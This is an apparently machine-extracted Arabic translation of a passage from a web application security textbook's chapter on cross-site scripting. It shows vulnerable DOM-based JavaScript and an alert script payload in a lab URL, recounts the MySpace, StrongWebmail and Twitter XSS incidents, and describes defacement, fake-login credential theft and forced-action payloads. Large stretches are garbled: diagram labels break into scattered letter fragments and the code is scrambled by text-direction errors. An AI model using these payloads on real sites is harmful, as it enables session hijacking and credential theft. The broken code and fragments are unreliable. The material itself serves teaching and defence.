ﻋﻠﻰﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺍﻓﺘﺮﺽ ﺃﻥ ﺻﻔﺤﺔ ﺍﻟﺨﻄﺄ ﺍﻟﺘﻲ ﺗﻢ ﺇﺭﺟﺎﻋﻬﺎ ﺑﻮﺍﺳﻄﺔ ﺍﻟﺘﻄﺒﻴﻖ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺎ
ﻳﻠﻲ:
>ﺍﻟﻨﺺ<
؛var url = document.location
441 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
؛(url = unescape)url
var message = url.substring)url.indexOf)'message='( + 8، url
.ﻃﻮﻝ(؛
< >/script؛(ﺍﻟﺮﺳﺎﻟﺔ)document.write
<http://mdsec.net/error/18/Error.ashx?message=>script<alert)'xss'(>/script
ﺟﺮﺑﻬﺎ!
ﺪﻡ
rip .4 3
ﺘﺨ
.ﻳﻄ ﺴ Sc
http://mdsec.net/error/18/
ﺴ
ﺴ
ﺔﺍ
ﻋﻠ
ﺠﻴ
ﻳ
ﻟ
ﺴ
ﻤﺴ ﺐ ﺍ ﻣﺒ
ﻰt
ﻞ
ﺩ
ﺟﻠ
ﺧﻮ
ﻟﻤ
ﻡ
ﻄﺎ
ﺴ
ﺘﺨ
ﻋ
ﺧﺘ
ﻨﻮ
ﺪﻡ
ﺑﺎ
ﺍ
ﻥ Lﺼﻔ
Ja
ﺟﻢ
ﺩﻡ ﺠﺔ
URﺤﺔ
ﻬﺎ
ﻤ
ﺑ
ﻟﻠﻤﻬﺎ ﺗﺤ
ﺍﻟ
ﻮﻡ
ﻘ
ﺟ
.7ﻳ
ﻢ
ﺘﻮ
ﻱ
ﻃﻠﺐ
.5ﺍﻟﻤﻬﺎﺟﻢ
.2ﻳﻘﻮﻡ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺈﺭﺳﺎﻝ ﻋﻨﻮﺍﻥ URLﺍﻟﻤﺼﻤﻢ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺗﻤﺖﻣﻌﺎﻟﺠﺔ ﻋﻨﻮﺍﻥ URL
ﺑﻮﺍﺳﻄﺔﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ،
.6ﻳﺮﺳﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺭﻣﺰ ﺍﻟﺠﻠﺴﺔ ﺇﻟﻰ ﺍﻟﻤﻬﺎﺟﻢ
ﺇﺛﺎﺭﺓﻟﻪ
ﻣﻬﺎﺟﻢ ﻣﺴﺘﺨﺪﻡ
ﺣﻤﻮﻟﺔﺍﻟﻬﺠﻮﻡ
ﻟﻔﻬﻢﺍﻟﺘﺄﺛﻴﺮ ﺍﻟﺨﻄﻴﺮ ﻟﺜﻐﺮﺍﺕ ،XSSﻣﻦ ﺍﻟﻤﻔﻴﺪ ﺩﺭﺍﺳﺔ ﺑﻌﺾ ﺍﻷﻣﺜﻠﺔ ﺍﻟﻮﺍﻗﻌﻴﺔ ﻟﻬﺠﻤﺎﺕ .XSSﻛﻤﺎ
ﻳﺴُﺎﻋﺪﺫﻟﻚ ﻋﻠﻰ ﺍﻟﻨﻈﺮ ﻓﻲ ﺍﻟﻨﻄﺎﻕ ﺍﻟﻮﺍﺳﻊ ﻟﻸﻓﻌﺎﻝ ﺍﻟﺨﺒﻴﺜﺔ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺃﻥ ﺗﻨُﻔﺬﻫﺎ ﺛﻐﺮﺍﺕ XSS
ﻭﻛﻴﻔﻴﺔﻭﺻﻮﻟﻬﺎ ﺇﻟﻰ ﺍﻟﻀﺤﺎﻳﺎ.
http://blogs.apache.org/infra/entry/apache_org_04_09_2010
ﻓﻲﻋﺎﻡ ،٢٠٠٥ﻭﺟُﺪ ﺃﻥ ﻣﻮﻗﻊ ﺍﻟﺘﻮﺍﺻﻞ ﺍﻻﺟﺘﻤﺎﻋﻲ ﻣﺎﻱ ﺳﺒﻴﺲ ﻣﻌُﺮﺽّ ﻟﻬﺠﻮﻡ XSSﻣﺨُﺰﻥّ.
ﻳﻄُﺒﻖّﺗﻄﺒﻴﻖ ﻣﺎﻱ ﺳﺒﻴﺲ ﻣﺮُﺷﺤّﺎﺕ ﻟﻤﻨﻊ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻣﻦ ﻭﺿﻊ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﻓﻲ ﺻﻔﺤﺔ
ﻣﻠﻔﻬﻢﺍﻟﺸﺨﺼﻲ .ﻭﻣﻊ ﺫﻟﻚ ،ﻭﺟﺪ ﻣﺴﺘﺨﺪﻡ ﻳﺪُﻋﻰ ﺳﺎﻣﻲ ﻭﺳﻴﻠﺔ ًﻟﻠﺘﺤﺎﻳﻞ ﻋﻠﻰ ﻫﺬﻩ ﺍﻟﻤﺮُﺷﺤّﺎﺕ
ﻭﻭﺿﻊﺑﻌﺾ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﻓﻲ ﺻﻔﺤﺔ ﻣﻠﻔﻪ ﺍﻟﺸﺨﺼﻲ .ﻳﻨُﻔﺬّ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻛﻠﻤﺎ ﺷﺎﻫﺪ
ﺍﻟﻤﺴﺘﺨﺪﻡﻫﺬﺍ ﺍﻟﻤﻠﻒ ﺍﻟﺸﺨﺼﻲ ،ﻣﻤﺎ ﻳﺪﻓﻊ ﻣﺘﺼﻔﺢ ﺍﻟﻀﺤﻴﺔ ﺇﻟﻰ ﺗﻨﻔﻴﺬ ﺇﺟﺮﺍءﺍﺕ ﻣﺨُﺘﻠﻔﺔ ﺑﺘﺄﺛﻴﺮﻳﻦ
ﺭﺉﻴﺴﻴﻴﻦ.ﺃﻭﻻً ،ﻳﻀُﻴﻒ ﺍﻟﻤﺘﺼﻔﺢ ﺳﺎﻣﻲ ﻛـ"ﺻﺪﻳﻖ" ﻟﻠﻀﺤﻴﺔ .ﺛﺎﻧﻴﺎً ،ﻳﻨُﺴﺦ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺇﻟﻰ
ﺻﻔﺤﺔﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺨﺎﺻﺔ ﺑﺎﻟﻀﺤﻴﺔ .ﻻﺣﻘﺎً ،ﻳﻘﻊ ﺃﻱ ﺷﺨﺺ ﺷﺎﻫﺪ ﻣﻠﻒ ﺗﻌﺮﻳﻒ
ﺍﻟﻀﺤﻴﺔﺿﺤﻴﺔ ًﻟﻠﻬﺠﻮﻡ .ﻭﺍﻟﻨﺘﻴﺠﺔ ﻫﻲ ﺩﻭﺩﺓ ﻗﺎﺉﻤﺔ ﻋﻠﻰ XSSﺍﻧﺘﺸﺮﺕ ﺑﺸﻜﻞ ﻛﺒﻴﺮ .ﻓﻲ ﻏﻀﻮﻥ
ﺳﺎﻋﺎﺕ،ﺗﻢ ﺍﻟﻘﺒﺾ ﻋﻠﻰ ﺍﻟﺠﺎﻧﻲ ﺍﻷﺻﻠﻲ.
443 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﺗﻠﻘﻰﻣﻮﻗﻊ ﻣﺎﻱ ﺳﺒﻴﺲ ﻣﺎ ﻳﻘﺮﺏ ﻣﻦ ﻣﻠﻴﻮﻥ ﻃﻠﺐ ﺻﺪﺍﻗﺔ .ﻧﺘﻴﺠﺔ ًﻟﺬﻟﻚ ،ﺍﺿﻄﺮ ﺍﻟﻤﻮﻗﻊ ﺇﻟﻰ
ﺇﻳﻘﺎﻑﺍﻟﺘﻄﺒﻴﻖ ﻋﻦ ﺍﻟﻌﻤﻞ ،ﻭﺇﺯﺍﻟﺔ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺨﺒﻴﺚ ﻣﻦ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺟﻤﻴﻊ ﻣﺴﺘﺨﺪﻣﻴﻪ،
ﻭﺇﺻﻼﺡﺍﻟﺨﻠﻞ ﻓﻲ ﻣﺮﺷﺤﺎﺕ .XSS
ﻟﻤﺰﻳﺪﻣﻦ ﺍﻟﺘﻔﺎﺻﻴﻞ ﺣﻮﻝ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ،ﺭﺍﺟﻊ ﻋﻨﻮﺍﻥ URLﻫﺬﺍ:
http://namb.la/popular/tech.html
ﺗﻄﺒﻴﻘﺎﺕﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﻣﻌﺮﺿﺔ ﺑﻄﺒﻴﻌﺘﻬﺎ ﻟﺨﻄﺮ ﻫﺠﻤﺎﺕ XSSﺍﻟﻤﺨُﺰﻧّﺔ ﻧﻈﺮﺍً ﻟﻄﺮﻳﻘﺔ ﻋﺮﺿﻬﺎ
ﻟﺮﺳﺎﺉﻞﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﻓﻲ ﺍﻟﻤﺘﺼﻔﺢ ﻋﻨﺪ ﻋﺮﺿﻬﺎ ﻣﻦ ﻗﺒِﻞ ﺍﻟﻤﺴُﺘﻠﻢِ .ﻗﺪ ﺗﺤﺘﻮﻱ ﺭﺳﺎﺉﻞ ﺍﻟﺒﺮﻳﺪ
ﺍﻹﻟﻜﺘﺮﻭﻧﻲﻋﻠﻰ ﻣﺤﺘﻮﻯ ﺑﺘﻨﺴﻴﻖ ،HTMLﻟﺬﺍ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻨﺴﺦ HTMLﻣﻦ ﺟﻬﺎﺕ ﺧﺎﺭﺟﻴﺔ ﺇﻟﻰ
ﺍﻟﺼﻔﺤﺎﺕﺍﻟﺘﻲ ﻳﻌﺮﺿﻬﺎ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ .ﻓﻲ ﻋﺎﻡ ،٢٠٠٩ﻋﺮﺽ ﻣﺰُﻭﺩّ ﺧﺪﻣﺔ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﻳﺪُﻋﻰ
StrongWebmailﻣﻜﺎﻓﺄﺓ ﻗﺪﺭﻫﺎ ١٠٠٠٠ﺩﻭﻻﺭ ﺃﻣﺮﻳﻜﻲ ﻷﻱ ﺷﺨﺺ ﻳﺘﻤﻜﻦ ﻣﻦ ﺍﺧﺘﺮﺍﻕ ﺍﻟﺒﺮﻳﺪ
ﺍﻹﻟﻜﺘﺮﻭﻧﻲﻟﻠﺮﺉﻴﺲ ﺍﻟﺘﻨﻔﻴﺬﻱ .ﺍﻛﺘﺸﻒ ﺍﻟﻤﺨُﺘﺮﻗﻮﻥ ﺛﻐﺮﺓ XSSﻣﺨُﺰﻧّﺔ ﺩﺍﺧﻞ ﺗﻄﺒﻴﻖ ﺍﻟﺒﺮﻳﺪ
ﺍﻹﻟﻜﺘﺮﻭﻧﻲ،ﻭﺍﻟﺘﻲ ﺳﻤﺤﺖ ﺑﺘﻨﻔﻴﺬ ﺃﻭﺍﻣﺮ JavaScriptﻋﺸﻮﺍﺉﻴﺎً ﻋﻨﺪ ﻋﺮﺽ ﺍﻟﻤﺴُﺘﻠﻢِ ﻟﺮﺳﺎﻟﺔ ﺑﺮﻳﺪ
ﺇﻟﻜﺘﺮﻭﻧﻲﺿﺎﺭﺓ .ﺃﺭﺳﻠﻮﺍ ﺑﺮﻳﺪﺍً ﺇﻟﻜﺘﺮﻭﻧﻴﺎً ﻣﻨﺎﺳﺒﺎً ﺇﻟﻰ ﺍﻟﺮﺉﻴﺲ ﺍﻟﺘﻨﻔﻴﺬﻱ ،ﻭﺍﺧﺘﺮﻗﻮﺍ ﺟﻠﺴﺘﻪ ﻋﻠﻰ
ﺍﻟﺘﻄﺒﻴﻖ،ﻭﻃﺎﻟﺒﻮﺍ ﺑﺎﻟﻤﻜﺎﻓﺄﺓ.
ﻟﻤﺰﻳﺪﻣﻦ ﺍﻟﺘﻔﺎﺻﻴﻞ ﺣﻮﻝ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ،ﺭﺍﺟﻊ ﻋﻨﻮﺍﻥ URLﻫﺬﺍ:
http://blogs.zdnet.com/security/?p=3514
ﻓﻲﻋﺎﻡ ،٢٠٠٩ﻭﻗﻊ ﺗﻮﻳﺘﺮ ﺿﺤﻴﺔ ًﻟﻔﻴﺮﻭﺳﻲَ XSSﺍﺳﺘﻐﻼّ ﺛﻐﺮﺍﺕ ٍﻣﺨُﺰﻧّﺔ ﻓﻲ XSSﻟﻼﻧﺘﺸﺎﺭ ﺑﻴﻦ
ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﻭﻧﺸﺮ ﺗﺤﺪﻳﺜﺎﺕ ٍﺗﺮُﻭﺝّ ﻟﻤﻮﻗﻊ ﻣﻨُﺸﺊ ﺍﻟﻔﻴﺮﻭﺳﺎﺕ .ﻛﻤﺎ ﺣﺪُﺩّﺕ ﺛﻐﺮﺍﺕ ٌﻣﺨُﺘﻠﻔﺔ ٌﻓﻲ
XSSﻣﺴُﺘﻨﺪﺓ ﺇﻟﻰ DOMﻓﻲ ﺗﻮﻳﺘﺮ ،ﻧﺘﻴﺠﺔ ًﻻﺳﺘﺨﺪﺍﻣﻪ ﺍﻟﻤﻜُﺜﻒّ ﻷﻛﻮﺍﺩ ٍﺷﺒﻴﻬﺔ ٍﺑـ Ajaxﻋﻠﻰ ﺟﺎﻧﺐ
ﺍﻟﻌﻤﻴﻞ.
ﻟﻤﺰﻳﺪﻣﻦ ﺍﻟﺘﻔﺎﺻﻴﻞ ﺣﻮﻝ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ،ﺭﺍﺟﻊ ﻋﻨﺎﻭﻳﻦ URLﺍﻟﺘﺎﻟﻴﺔ:
http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-andsomething.html
www.cgisecurity.com/2009/04/two-xss-worms-slam-twitter.html
ﺍﻟﺤﻤﻮﻻﺕﻟﻬﺠﻤﺎﺕ XSS
ﺣﺘﻰﺍﻵﻥ ،ﺭﻛﺰﻧﺎ ﻋﻠﻰ ﺣﻤﻮﻟﺔ ﻫﺠﻮﻡ XSSﺍﻟﺘﻘﻠﻴﺪﻳﺔ .ﺗﺘﻀﻤﻦ ﻫﺬﻩ ﺍﻟﺤﻤﻮﻻﺕ ﺍﻻﺳﺘﻴﻼء ﻋﻠﻰ ﺭﻣﺰ
ﺟﻠﺴﺔﺍﻟﻀﺤﻴﺔ ،ﻭﺍﺧﺘﻄﺎﻑ ﺟﻠﺴﺘﻬﺎ ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﺍﺳﺘﻐﻼﻝ ﺍﻟﺘﻄﺒﻴﻖ "ﻛﻀﺤﻴﺔ" ،ﻭﺗﻨﻔﻴﺬ ﺇﺟﺮﺍءﺍﺕ
ﻋﺸﻮﺍﺉﻴﺔ،ﻭﺭﺑﻤﺎ ﺍﻻﺳﺘﻴﻼء ﻋﻠﻰ ﺣﺴﺎﺏ ﺍﻟﻤﺴﺘﺨﺪﻡ .ﻓﻲ ﺍﻟﻮﺍﻗﻊ ،ﻳﻤﻜﻦ ﺇﻳﺼﺎﻝ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺣﻤﻮﻻﺕ
ﺍﻟﻬﺠﻮﻡﺍﻷﺧﺮﻯ ﻋﺒﺮ ﺃﻱ ﻧﻮﻉ ﻣﻦ ﺛﻐﺮﺍﺕ .XSS
ﺍﻟﺘﺸﻮﻳﻪﺍﻻﻓﺘﺮﺍﺿﻲ
ﻳﺘﻀﻤﻦﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﺣﻘﻦ ﺑﻴﺎﻧﺎﺕ ﺿﺎﺭﺓ ﻓﻲ ﺻﻔﺤﺔ ﺗﻄﺒﻴﻖ ﻭﻳﺐ ﻟﺘﺰﻭﻳﺪ ﻣﺴﺘﺨﺪﻣﻴﻪ ﺑﻤﻌﻠﻮﻣﺎﺕ
ﻣﻀﻠﻠﺔ.ﻗﺪ ﻳﻘﺘﺼﺮ ﺍﻷﻣﺮ ﻋﻠﻰ ﺣﻘﻦ ﺭﻣﻮﺯ HTMLﻓﻲ ﺍﻟﻤﻮﻗﻊ ،ﺃﻭ ﻗﺪ ﻳﺴﺘﺨﺪﻡ ﻧﺼﻮﺻﺎً ﺑﺮﻣﺠﻴﺔ )
ﺗﺴُﺘﻀﺎﻑﺃﺣﻴﺎﻧﺎً ﻋﻠﻰ ﺧﺎﺩﻡ ﺧﺎﺭﺟﻲ( ﻟﺤﻘﻦ ﻣﺤﺘﻮﻯ ﻭﺗﺼﻔﺢ ﻣﻌُﻘﺪ ﻓﻲ ﺍﻟﻤﻮﻗﻊ.
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 444
ﻭﻟﺪﻳﻬﻢ ﺭﻳﺎ
ﺯﻋﻨﻔﺔﺍﻟﻤﻬﺎﺟﻢ
ﻛﻤﺎﻭﺻُﻒ ﻓﻲ ﺍﻟﻬﺠﻮﻡ ﻋﻠﻰ ،Apacheﻓﺈﻥ ﺍﻟﻬﺠﻮﻡ ﺍﻟﻮﺍﺿﺢ ﺍﻟﺬﻱ ﻳﺘﻀﻤﻦ ﻭﻇﺎﺉﻒ ﻣﻀُﺎﻓﺔ ﻫﻮ
ﺗﺰﻭﻳﺪﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺑﻨﻤﻮﺫﺝ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﻣﺰُﻭﺭَّ ﻳﺮُﺳﻞ ﺑﻴﺎﻧﺎﺕ ﺍﻋﺘﻤﺎﺩﻫﻢ ﺇﻟﻰ ﺧﺎﺩﻡ ﻳﺴُﻴﻄﺮ ﻋﻠﻴﻪ
ﺍﻟﻤﻬﺎﺟﻢ.ﺇﺫﺍ ﻧﻔُﺬِّ ﺍﻟﻬﺠﻮﻡ ﺑﻤﻬﺎﺭﺓ ،ﻓﻘﺪ ﻳﺴُﺠﻞِّ ﺩﺧﻮﻝ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﺴﻼﺳﺔ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺤﻘﻴﻘﻲ،
ﺑﺤﻴﺚﻻ ﻳﻜﺘﺸﻒ ﺃﻱ ﺧﻠﻞ ﻓﻲ ﺗﺠﺮﺑﺘﻪ .ﻋﻨﺪﺉﺬ ٍ،ﻳﻜﻮﻥ ﺍﻟﻤﻬﺎﺟﻢ ﺣﺮﺍً ﻓﻲ ﺍﺳﺘﺨﺪﺍﻡ ﺑﻴﺎﻧﺎﺕ ﺍﻋﺘﻤﺎﺩ
ﺍﻟﻀﺤﻴﺔﻷﻏﺮﺍﺿﻪ ﺍﻟﺨﺎﺻﺔ .ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﺤﻤﻮﻟﺔ ﻳﻬُﻴﺊ ﺑﺸﻜﻞ ﺟﻴﺪ ﻟﻬﺠﻤﺎﺕ ﺍﻟﺘﺼﻴﺪ ﺍﻻﺣﺘﻴﺎﻟﻲ،
ﺣﻴﺚﻳﺰُﻭﺩَّ ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ ﺑﻌﻨﻮﺍﻥ URLﻣﺼُﻤﻢَّ ﻣﺴﺒﻘﺎً ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻷﺻﻠﻲ ،ﻭﻳﻨُﺼﺤﻮﻥ
ﺑﺘﺴﺠﻴﻞﺍﻟﺪﺧﻮﻝ ﻛﺎﻟﻤﻌﺘﺎﺩ ﻟﻠﻮﺻﻮﻝ ﺇﻟﻴﻪ.
ﺗﺸﻴﺮﻋﻨﺎﻭﻳﻦ URLﻓﻲ ﻫﺬﻩ ﺍﻟﻬﺠﻤﺎﺕ ﺇﻟﻰ ﺍﺳﻢ ﺍﻟﻨﻄﺎﻕ ﺍﻷﺻﻠﻲ ﻟﻠﺘﻄﺒﻴﻖ ﺍﻟﻔﻌﻠﻲ ،ﻣﻊ ﺷﻬﺎﺩﺓ
SSLﺳﺎﺭﻳﺔ ﺍﻟﻤﻔﻌﻮﻝ ﻋﻨﺪ ﺍﻻﻗﺘﻀﺎء .ﻟﺬﻟﻚ ،ﻣﻦ ﺍﻟﻤﺮﺟﺢ ﺃﻥ ﺗﻘُﻨﻊ ﻫﺬﻩ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﻀﺤﺎﻳﺎ ﺑﺘﻘﺪﻳﻢ
ﻣﻌﻠﻮﻣﺎﺕﺣﺴﺎﺳﺔ ،ﻣﻘﺎﺭﻧﺔ ًﺑﻤﻮﺍﻗﻊ ﺍﻟﺘﺼﻴﺪ ﺍﻻﺣﺘﻴﺎﻟﻲ ﺍﻟﺒﺤﺘﺔ ﺍﻟﻤﺴُﺘﻀﺎﻓﺔ ﻋﻠﻰ ﻧﻄﺎﻕ ﻣﺨﺘﻠﻒ،
ﻭﺍﻟﺘﻲﺗﻜﺘﻔﻲ ﺑﻨﺴﺦ ﻣﺤﺘﻮﻯ ﺍﻟﻤﻮﻗﻊ ﺍﻟﻤﺴﺘﻬﺪﻑ.
ﺗﺤﻔﻴﺰﺇﺟﺮﺍءﺍﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ
ﺇﺫﺍﺍﺧﺘﺮﻕ ﻣﻬﺎﺟﻢ ﺟﻠﺴﺔ ﺿﺤﻴﺔ ،ﻓﻴﻤﻜﻨﻪ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﺘﻄﺒﻴﻖ "ﺑﺼﻔﺘﻪ" ﺫﻟﻚ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻭﺗﻨﻔﻴﺬ ﺃﻱ
ﺇﺟﺮﺍءﻧﻴﺎﺑﺔ ًﻋﻨﻪ .ﻭﻣﻊ ﺫﻟﻚ ،ﻗﺪ ﻻ ﻳﻜﻮﻥ ﻫﺬﺍ ﺍﻟﻨﻬﺞ ﻓﻲ ﺗﻨﻔﻴﺬ ﺇﺟﺮﺍءﺍﺕ ﻋﺸﻮﺍﺉﻴﺔ ﻣﺮﻏﻮﺑﺎً ﻓﻴﻪ ﺩﺍﺉﻤﺎً.
ﻓﻬﻮﻳﺘﻄﻠﺐ ﻣﻦ ﺍﻟﻤﻬﺎﺟﻢ ﻣﺮﺍﻗﺒﺔ ﺧﺎﺩﻣﻪ ﺍﻟﺨﺎﺹ ﺑﺤﺜﺎً ﻋﻦ ﻋﻤﻠﻴﺎﺕ ﺇﺭﺳﺎﻝ ﺭﻣﻮﺯ ﺟﻠﺴﺔ ﻣﺴُﺠﻠَّﺔ ﻣﻦ
ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﺍﻟﻤﺨُﺘﺮﻗﻴﻦ .ﻛﻤﺎ ﻳﺠﺐ ﻋﻠﻴﻪ ﺗﻨﻔﻴﺬ ﺍﻹﺟﺮﺍء ﺫﻱ ﺍﻟﺼﻠﺔ ﻧﻴﺎﺑﺔ ًﻋﻦ ﻛﻞ ﻣﺴﺘﺨﺪﻡ .ﺇﺫﺍ
ﺗﻌﺮﺽﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻟﻠﻬﺠﻮﻡ ،ﻓﻘﺪ ﻳﻜﻮﻥ ﻫﺬﺍ ﻏﻴﺮ ﻋﻤﻠﻲ .ﻋﻼﻭﺓ ًﻋﻠﻰ ﺫﻟﻚ ،ﻓﺈﻧﻪ ﻳﺘﺮﻙ
ﺃﺛﺮﺍًﻏﻴﺮ ﺧﻔﻲ ﻓﻲ ﺳﺠﻼﺕ ﺍﻟﺘﻄﺒﻴﻖ ،ﻭﺍﻟﺬﻱ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻪ ﺑﺴﻬﻮﻟﺔ ﻟﺘﺤﺪﻳﺪ ﺟﻬﺎﺯ ﺍﻟﻜﻤﺒﻴﻮﺗﺮ
ﺍﻟﻤﺴﺆﻭﻝﻋﻦ ﺍﻹﺟﺮﺍءﺍﺕ ﻏﻴﺮ ﺍﻟﻤﺼﺮﺡ ﺑﻬﺎ ﺃﺛﻨﺎء ﺍﻟﺘﺤﻘﻴﻖ.
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 446
ﻛﺒﺪﻳﻞﻻﺧﺘﻄﺎﻑ ﺍﻟﺠﻠﺴﺔ ،ﺣﻴﺚ ﻳﺮﻏﺐ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺒﺴﺎﻃﺔ ﻓﻲ ﺗﻨﻔﻴﺬ ﻣﺠﻤﻮﻋﺔ ﻣﺤﺪﺩﺓ ﻣﻦ
ﺍﻹﺟﺮﺍءﺍﺕﻧﻴﺎﺑﺔ ًﻋﻦ ﻛﻞ ﻣﺴﺘﺨﺪﻡ ﻣﺨُﺘﺮﻕ ،ﻳﺘﻤﺜﻞ ﻓﻲ ﺍﺳﺘﺨﺪﺍﻡ ﻧﺺ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﻧﻔﺴﻪ ﻟﺘﻨﻔﻴﺬ
ﻫﺬﻩﺍﻹﺟﺮﺍءﺍﺕ .ﺗﻌُﺪ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﻫﺬﻩ ﻣﻔﻴﺪﺓ ًﺑﺸﻜﻞ ﺧﺎﺹ ﻓﻲ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻳﺮﻏﺐ ﻓﻴﻬﺎ
ﺍﻟﻤﻬﺎﺟﻢﺑﺘﻨﻔﻴﺬ ﺇﺟﺮﺍء ﻳﺘﻄﻠﺐ ﺻﻼﺣﻴﺎﺕ ﺇﺩﺍﺭﻳﺔ ،ﻣﺜﻞ ﺗﻌﺪﻳﻞ ﺍﻷﺫﻭﻧﺎﺕ ﺍﻟﻤﺨُﺼﺼﺔ ﻟﺤﺴﺎﺏ ﻳﺘﺤﻜﻢ
ﻓﻴﻪ.ﻣﻊ ﻭﺟﻮﺩ ﻗﺎﻋﺪﺓ ﻣﺴﺘﺨﺪﻣﻴﻦ ﻛﺒﻴﺮﺓ ،ﺳﻴﻜﻮﻥ ﻣﻦ ﺍﻟﺼﻌﺐ ﺍﺧﺘﺮﺍﻕ ﺟﻠﺴﺔ ﻛﻞ ﻣﺴﺘﺨﺪﻡ ﻭﺍﻟﺘﺄﻛﺪ
ﻣﻦﺃﻥ ﺍﻟﻀﺤﻴﺔ ﻣﺪﻳﺮ .ﺃﻣﺎ ﺍﻟﻨﻬﺞ ﺍﻷﻛﺜﺮ ﻓﻌﺎﻟﻴﺔ ﻓﻬﻮ ﺣﺚ ﻛﻞ ﻣﺴﺘﺨﺪﻡ ﻣﺨُﺘﺮﻕ ﻋﻠﻰ ﻣﺤﺎﻭﻟﺔ ﺗﺮﻗﻴﺔ
ﺍﻷﺫﻭﻧﺎﺕﻋﻠﻰ ﺣﺴﺎﺏ ﺍﻟﻤﻬﺎﺟﻢ .ﺳﺘﻔﺸﻞ ﻣﻌﻈﻢ ﺍﻟﻤﺤﺎﻭﻻﺕ ،ﻭﻟﻜﻦ ﺑﻤﺠﺮﺩ ﺍﺧﺘﺮﺍﻕ ﻣﺴﺘﺨﺪﻡ
ﺇﺩﺍﺭﻱ،ﻳﻨﺠﺢ ﺍﻟﻤﻬﺎﺟﻢ ﻓﻲ ﺗﺼﻌﻴﺪ ﺍﻟﺼﻼﺣﻴﺎﺕ .ﻭﺻُﻔﺖ ﻃﺮﻕ ﺣﺚ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻵﺧﺮﻳﻦ ﻋﻠﻰ
ﺍﻟﻘﻴﺎﻡﺑﺈﺟﺮﺍءﺍﺕ ﻧﻴﺎﺑﺔ ًﻋﻨﻬﻢ ﻓﻲ ﻗﺴﻢ "ﺗﺰﻭﻳﺮ ﺍﻟﻄﻠﺒﺎﺕ" ﻓﻲ ﺍﻟﻔﺼﻞ .13
